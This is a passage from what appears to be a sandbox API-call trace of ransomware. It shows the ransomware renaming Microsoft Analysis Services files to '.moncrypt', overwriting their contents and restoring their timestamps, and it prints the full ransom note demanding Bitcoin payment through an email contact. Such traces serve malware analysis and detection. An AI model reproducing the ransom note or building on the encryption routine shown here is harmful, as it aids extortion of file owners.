ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 0x54e280 [0059.248] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0059.248] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0059.248] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0059.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl", dwFileAttributes=0x20) returned 1 [0059.249] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0059.249] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.moncrypt")) returned 1 [0059.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0059.250] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0059.250] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x9a5b [0059.250] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0059.250] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0059.252] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.252] GlobalLock (hMem=0x440004) returned 0x55db88 [0059.252] GlobalHandle (pMem=0x55db88) returned 0x440004 [0059.252] GlobalUnlock (hMem=0x440004) returned 0 [0059.252] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0059.252] GlobalLock (hMem=0x440004) returned 0x55db88 [0059.252] GlobalHandle (pMem=0x55db88) returned 0x440004 [0059.253] GlobalUnlock (hMem=0x440004) returned 0 [0059.253] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0059.253] GlobalLock (hMem=0x440004) returned 0x55db88 [0059.253] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.253] GlobalUnlock (hMem=0x44000c) returned 0 [0059.253] GlobalHandle (pMem=0x55db88) returned 0x440004 [0059.253] GlobalUnlock (hMem=0x440004) returned 0 [0059.253] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.253] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.253] GlobalUnlock (hMem=0x440004) returned 0 [0059.253] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0059.253] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.253] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.253] GlobalUnlock (hMem=0x440004) returned 0 [0059.253] ReadFile (in: hFile=0x18c, lpBuffer=0x1e390f8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0059.253] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0059.253] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0059.253] SetFilePointer (in: hFile=0x18c, lDistanceToMove=39515, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x9a5b [0059.253] WriteFile (in: hFile=0x18c, lpBuffer=0x1e390f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0059.253] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0059.253] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0059.265] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0059.265] CloseHandle (hObject=0x18c) returned 1 [0059.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0059.266] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0059.266] CloseHandle (hObject=0x18c) returned 1 [0059.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.moncrypt", dwFileAttributes=0x20) returned 1 [0059.266] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0059.266] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.266] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.266] GlobalUnlock (hMem=0x440004) returned 0 [0059.267] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.267] GlobalLock (hMem=0x44000c) returned 0x559b88 [0059.267] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.267] GlobalUnlock (hMem=0x440004) returned 0 [0059.267] GlobalHandle (pMem=0x559b88) returned 0x44000c [0059.267] GlobalUnlock (hMem=0x44000c) returned 0 [0059.267] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0059.267] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x446f93c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x446f93c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x446f93c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0059.267] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0059.267] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0059.267] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0059.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0059.268] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0059.268] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0059.268] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0059.268] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0059.268] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0059.268] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0059.268] ReadFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0059.268] CloseHandle (hObject=0x18c) returned 1 [0059.268] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0059.268] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0059.268] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0059.268] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.268] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.268] GlobalUnlock (hMem=0x44000c) returned 0 [0059.268] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.268] GlobalLock (hMem=0x440004) returned 0x559b88 [0059.269] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.269] GlobalUnlock (hMem=0x44000c) returned 0 [0059.269] GlobalHandle (pMem=0x559b88) returned 0x440004 [0059.269] GlobalUnlock (hMem=0x440004) returned 0 [0059.269] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.269] CharLowerBuffW (in: lpsz="Sybase.xsl", cchLength=0xa | out: lpsz="sybase.xsl") returned 0xa [0059.269] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.269] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.269] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.269] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.269] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.269] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.269] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.269] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.269] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.269] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0059.269] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0059.269] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl", cchWideChar=78, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xslt", lpUsedDefaultChar=0x0) returned 78 [0059.269] CharLowerBuffW (in: lpsz=".xsl", cchLength=0x4 | out: lpsz=".xsl") returned 0x4 [0059.269] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xsl", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xslices\\AS OLEDB\\10\\Cartridges\\Sybase.xslt", lpUsedDefaultChar=0x0) returned 4 [0059.270] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0x54e280 [0059.270] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0059.270] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0059.270] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0059.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl", dwFileAttributes=0x20) returned 1 [0059.271] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0059.271] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.moncrypt")) returned 1 [0059.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0059.272] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0059.272] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x745e [0059.272] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0059.272] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0059.274] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.274] GlobalLock (hMem=0x44000c) returned 0x55db88 [0059.275] GlobalHandle (pMem=0x55db88) returned 0x44000c [0059.275] GlobalUnlock (hMem=0x44000c) returned 0 [0059.275] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0059.275] GlobalLock (hMem=0x44000c) returned 0x55db88 [0059.275] GlobalHandle (pMem=0x55db88) returned 0x44000c [0059.275] GlobalUnlock (hMem=0x44000c) returned 0 [0059.275] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0059.275] GlobalLock (hMem=0x44000c) returned 0x55db88 [0059.275] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.275] GlobalUnlock (hMem=0x440004) returned 0 [0059.275] GlobalHandle (pMem=0x55db88) returned 0x44000c [0059.275] GlobalUnlock (hMem=0x44000c) returned 0 [0059.275] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.275] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.275] GlobalUnlock (hMem=0x44000c) returned 0 [0059.275] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0059.275] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.275] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.275] GlobalUnlock (hMem=0x44000c) returned 0 [0059.276] ReadFile (in: hFile=0x18c, lpBuffer=0x1e390f8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0059.276] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0059.276] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0059.276] SetFilePointer (in: hFile=0x18c, lDistanceToMove=29790, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x745e [0059.276] WriteFile (in: hFile=0x18c, lpBuffer=0x1e390f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0059.276] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0059.276] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0059.288] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0059.288] CloseHandle (hObject=0x18c) returned 1 [0059.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.moncrypt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0059.289] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0059.289] CloseHandle (hObject=0x18c) returned 1 [0059.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.moncrypt", dwFileAttributes=0x20) returned 1 [0059.289] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0059.289] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.289] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.289] GlobalUnlock (hMem=0x44000c) returned 0 [0059.289] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.289] GlobalLock (hMem=0x440004) returned 0x559b88 [0059.289] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.289] GlobalUnlock (hMem=0x44000c) returned 0 [0059.289] GlobalHandle (pMem=0x559b88) returned 0x440004 [0059.290] GlobalUnlock (hMem=0x440004) returned 0 [0059.290] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0059.290] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x446f93c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x446f93c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x446f93c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, 